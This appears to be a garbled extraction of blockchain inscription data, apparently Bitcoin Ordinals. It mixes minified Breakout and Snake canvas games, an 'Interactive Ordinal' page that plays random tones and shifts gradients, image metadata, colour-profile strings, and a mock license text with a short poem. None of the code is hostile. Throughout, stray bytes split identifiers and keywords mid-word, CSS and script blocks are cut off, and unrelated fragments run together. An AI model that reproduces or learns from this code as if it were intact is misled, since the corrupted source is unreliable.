"G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[M
colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvaM
s.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||M
ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}documMG
ent.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.flM
oor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.M
forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===sL
nake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
,http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        ">
	<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
		<rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/M
" xmpMM:DocumentID="xmp.did:E69FC91B5FCC11E2A84FA8352C2B3CDC" xmpMM:InstanceID="xmp.iid:E69FC91A5FCC11E2A84FA8352C2B3CDC" xmp:CreatorTool="Adobe Photoshop CS6 Macintosh">
			<xmpMM:DerivedFrom stRef:instanceID="7B6BB9F1CD2238597E6C339DC531F12B" stRef:documentID="7B6BB9F1CD2238597E6C339DC531F12B"/>
		</rdf:Description>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
 " Intellectual Property License Agreement. "
" Intellectual Property License Agreement. "
" Bearer of this asset owns licenses or otherwise has the right to use all Intellectual Property  "
"necessary for the operation of the ugly inscription as presently conducted or proposed to be conducted within the power of blockchain. As L
"The power of one line "
"without hesitation"
"is a move of pure expression"
"without the need for a question"
"now is the ugly inscription"
text/html;charset=utf-8
    <meta charset="utf-8">
    <title>Interactive Ordinal</title>
    <meta name="description" content="">
    <meta name="msapplication-TileColor" content="#da532c">
    <meta name="theme-color" content="#ffffff">
    <meta content="width=device-width, initial-scale=1" name="viewport" />
        :root {--gradientCss: linear-gradient(90deg, rgba(8,231,214,1) 48%, rgba(22,255,0,1) 100%);}
        position: absolute;
        transform: translate(-50%, -50%);
        z-index: 10;
        width: 100vw;
        height: 100vh;
        position: absolute;
        background: var(--gradientCss);
        z-index: -1;
        border-radius: 50%;
        width: 50px;
        height: 50px;
        border-style: nonM
        button:focus {
        .circlebig {
            width: 50%;
            height: 65%;
            position: absolute;
            top:50%;
            left: 50%;
            transform: translate(-50%, -50%);
            border:10px solid #FFF;
            border-radius: 50%;
        .wrapper-eyes{
            position:absolute;
            top:50%;
            left:50%;
            transform: translate(-50%,-50%);
            display:flex;
            justify-content:space-between;
            transform:translate3d(-50%,-70%,0);
            content:"";
            position:absolute;
            top:50%;
            left:50%;
            width:130px;
            height:130px;
            background: #000;
            border-radius:50%;
            transform:translate(-50%,-50%);
            position:relative;
            width:260px;
            background:#fff;
            border-radius:50%;
            animation:eye 3.5s infinite;
        .right span{
            content:"";
            position:relative;
            top:-30%;
            left:10%;
            display:block;
            width:65%;
            height:2%;
            background:#000;
            border: 20px solid #000;
            border-radius:50%;
        .left span:before,
        .right span:before{
            position:absolute;
            top:10px;
            left: -12px;
            width:210px;
            height:30px;
            background: #ff6600;
            border-radius:70% 70% 0 0;
        .eye::after{
            content:"";
            position:absolute;
            top:50%;
            left:50%;
            width:65%;
            height:65%;
            background:#000;
            border-radius:50%;
            transform:translate3d(-50%,-50%,0)M
            animation: eyes 17.5s infinite;
        @keyframes eye{
            height: 260px;
            transform:translate3d(0,0,0);
                height: 0;
                transform: translate3d(0, -50%, 0);
        @keyframes eyes{
                transform:translate3d(-100%,-50%,0)
                transform: translate3d(-50%,-50%,0);
                transform:translate3d(0,-50%,0);
                transform:translate3d(-50%,0,0)
            width: 350px;
            height: 500px;
            position: absolute;
            bottom:0;
            margin: 0 auto 50M
            border-radius: 50% 50% 100% 100%;
            z-index:2;
            top: 55%;
            left: 50%;
            transform: translate(-50%, -50%);
        .cara .boca{
            box-sizing:border-box;
            width: 220px;
            height: 120px;
            background: #000;
            position: absolute;
            top: 330px;
            left: 50%;
            margin-left: -100px;
            border: 20px solid crimson;
            border-bottom-widthM
                border-left-width: 4px;
            border-right-width: 4px;
            border-radius: 100px;
            border-radius: 10px 10px 200px 200px;
            border-radius: 50%;
            overflow: hidden;
            box-shadow: 0 -1px 1.8px 2px rgba(0, 0, 0, 0.3), 0 2px 8px rgba(255, 255, 255, 0.6), 0 15px 25px rgba(0, 0, 0, 0.3);
            transition: all 60ms ease;
            clip-path: polygon(-100% -100%, 43% 0%, 50% 9%, 57% 0%, 100% -100%, 200% 200%, -100% 200%, -100% -10M
        .cara .boca .dentadura.inferior {
            transform: translateY(20px) rotate(180deg);
            transform: rotate(180deg);
        .cara .boca .dentadura{
            width: 225px;
            margin: 0 0 0 -11px;
            position: absolute;
            z-index: 2;
            width: 225px;
            margin: 0 0 0 -11px;
            position: absolute;
            z-index: 2;
        .cara .boca .dentadura .diente {
            width: 30px;
          height: 30px;
            border-radius: 5px;
            margin: -7px -2px 0 0;
            background: linear-gradient(270deg, #c8c8c8 0%, #ffffee 100%);
            display: inline-block;
            box-shadow: 1px 9px 5px rgba(0, 0, 0, 0.3) inset, -2px -2px 1px #ffe inset, 2px 0 0 #888;
            width: 30px;
            height: 30px;
            border-radius: 5px;
            margin: -7px -2px 0 0;
            background: linear-gradient(270deg, #c8c8c8 0%, #eeeeee 100%);
isplay: inline-block;
            box-shadow: 1px 9px 5px rgba(0, 0, 0, 0.3) inset, -2px -2px 1px #ffe inset, 2px 0 0 #888;
        .cara .boca .lengua {
            width: 120px;
            height: 50px;
            background: #d07676;
            border-radius: 100%;
            position: absolute;
            bottom: -12px;
            z-index: 0;
            left: 40px;
            box-shadow: 0 2px 10px rgba(0, 0, 0, 0.5) inset;
        .cara .boca .lengua::after {
            width: 0;
            height: 0;
            border-style: solid;
            border-width: 3px 12.5px 0 12.5px;
            border-color: #000000 transparent transparent transparent;
            position: absolute;
            left: 50%;
            margin-left: -10px;
            z-index: 2;
        .cara:hover .boca {
            border-radius: 25px 25px 150px 150px;
            top: 331px;
            height: 125px;
            position: absolute;
            bottom:20px;
            right: 20px;
            color: #FFF;
            text-decoration: none;
<div class="circlebig"></div>
    <div class="wrapper-eyes">
        <div class="eye left"><span></span></div>
        <div class="eye right"><span></span></div>
    <div class="nose"></div>
<div class="wrapper">
    <button class="btnPlay">play</button>
"btnStop">stop</button>
    <div class="boca">
        <div class="dentadura">
            <span class="diente"></span>
            <span class="diente"></span>
            <span class="diente"></span>
            <span class="diente"></span>
            <span class="diente"></span>
            <span class="diente"></span>
            <span class="diente"></span>
        <div class="lengua"></div>
<div class="gradient"></div>
let btnPlay = document.querySelector('.btnPlay');
        let btnStop = document.querySelector('.btnStop');
        const page = document.documentElement;
        let context = new AudioContext();
        btnPlay.addEventListener('click', () => {
            let setTimer = setInterval(timer, 200);
            btnPlay.setAttribute("disabled", true);
            btnStop.addEventListener('click', () => {
                clearInterval(setTimer);
                btnPlay.removeAttribute("disabled");
        function timer() {
            let o = context.createOscillator();
            let g = context.createGain();
            o.connect(g);
            o.type = "triangle";
            const sound = ["261.6", "277.2", "293.7", "311.1", "329.6", "349.2", "370.0", "392.0", "415.3", "440.0", "466.2", "493.9", "523.3", "554.4", "587.3", "622.3", "659.3", "698.5", "740.0", "784.0", "830.6", "880.0", "932.3", "987.8"];
            const randomSound = Math.floor(Math.random() * soM
            o.frequency.value = sound[randomSound];
            g.connect(context.destination);
            o.start(0);
            g.gain.exponentialRampToValueAtTime(0.00001, context.currentTime + 1.2);
            const bgGradient = [
                "linear-gradient(90deg, rgba(8,231,214,1) 48%, rgba(22,255,0,1) 100%);",
                "linear-gradient(90deg, rgba(231,8,8,1) 31%, rgba(255,248,0,1) 100%);",
                "linear-gradient(90deg, rgba(8,231,202,1) 39%, rgba(61,255,0,1) 100%M
                "linear-gradient(64deg, #d379b6, #b1125c)",
                "linear-gradient(141deg, #341a4c, #1b1299)",
                "linear-gradient(191deg, #cac198, #a067c3)",
                "linear-gradient(189deg, #6ac778, #c51bc6)",
                "linear-gradient(74deg, #8a8993, #1dd793)",
                "linear-gradient(359deg, #7e4328, #dbcb64)",
                "linear-gradient(208deg, #6c5ddd, #b4d3c7)",
                "linear-gradient(98deg, #64bccb, #d95974)",
                "lineMr
ar-gradient(330deg, #43906d, #5ab885)",
                "linear-gradient(75deg, #7558b6, #a1e4c1)",
                "linear-gradient(321deg, #c5c4ca, #89ad39)"
            const randomBg = Math.floor(Math.random() * bgGradient.length);
            page.style.setProperty('--gradientCss', bgGradient[randomBg]);
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xM
ap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:9ae6ee9d-aaa9-4556-8463-bf27cbb92162" xmpMM:InstanceID="xmp.iid:403d3ef2-c25e-4762-9ff5-07ad5e7f9fc0" xmpMM:OriginalDocumentID="xmp.did:09fdea67-029f-44ea-9a64-81b76919c290" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeM
Stamp="1676418472886912" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T10:47:51+11:00" xmp:ModifyDate="2023:02:15T10:47:51+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:753e5b39-38d5-4d1d-8587-c92ba1ae0c1a" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T10:47:52"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                  M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                       <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeM
ta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:7c9e2ad4-8055-4fb5-a7b6-2ab28c90c270" xmpMM:InstanceID=M
"xmp.iid:ec9c49cb-d098-4243-8703-b443b01e0bfb" xmpMM:OriginalDocumentID="xmp.did:65c6cca0-80d5-4aca-b1cf-0e0b0a7011bd" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676418459857882" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T10:47:38+11:00" xmp:ModifyDate="2023:02:15T10:47:38+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:d495ba1f-d107-4613-87a4-27d4e7af0635" stEvt:sM
oftwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T10:47:39"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                            M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        L
                                                                                                             <?xpacket end="w"?>h!
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
text/plain;charset=utf-8
 (B+(%%(Q:=0B`Ued_U][jx
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
